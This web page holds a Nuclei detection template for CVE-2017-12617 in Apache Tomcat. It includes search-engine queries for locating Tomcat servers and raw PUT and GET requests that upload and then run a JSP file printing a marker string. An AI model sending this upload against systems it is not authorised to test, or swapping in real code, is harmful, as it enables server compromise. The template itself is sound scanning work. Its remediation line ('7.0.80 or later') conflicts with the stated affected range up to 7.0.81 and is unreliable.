Skip to content

Apache Tomcat - Remote Code Execution

ID: CVE-2017-12617

Severity: high

Author: pussycat0x

Tags: cve2017,cve,tomcat,apache,rce,kev,intrusive

When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.

id: CVE-2017-12617
info:
name: Apache Tomcat - Remote Code Execution
author: pussycat0x
severity: high
description: |
When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
remediation: |
Upgrade to Apache Tomcat version 7.0.80 or later to mitigate this vulnerability.
reference:
- https://versa-networks.com/blog/apache-tomcat-remote-code-execution-vulnerability-cve-2017-12617/
- https://github.com/cyberheartmi9/CVE-2017-12617
- https://www.exploit-db.com/exploits/43008
- https://nvd.nist.gov/vuln/detail/CVE-2017-12617
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: "CVE-2017-12617"
cwe-id: CWE-434
epss-score: 0.97533
epss-percentile: 0.99992
cpe: cpe:2.3:a:apache:tomcat:7.0.0:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 2
vendor: apache
product: tomcat
shodan-query:
- html:"Apache Tomcat"
- http.title:"apache tomcat"
- http.html:"apache tomcat"
- cpe:"cpe:2.3:a:apache:tomcat"
fofa-query:
- body="apache tomcat"
- title="apache tomcat"
google-query: intitle:"apache tomcat"
tags: cve2017,cve,tomcat,apache,rce,kev,intrusive
http:
- raw:
- |
PUT /{{randstr}}.jsp/ HTTP/1.1
Host: {{Hostname}}
<% out.println("CVE-2017-12617");%>
- |
GET /{{randstr}}.jsp HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "CVE-2017-12617"
- type: status
status:
- 200
# digest: 4a0a00473045022004acc59390b8a398685d623317a4a3401159663724aea48e8660f4b45b8dcba3022100ee9091c2b1b29f48ea1da9541538daf28e844fb04bb3c9a5708d05924b2e5cd5:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-12617.yaml"

View on Github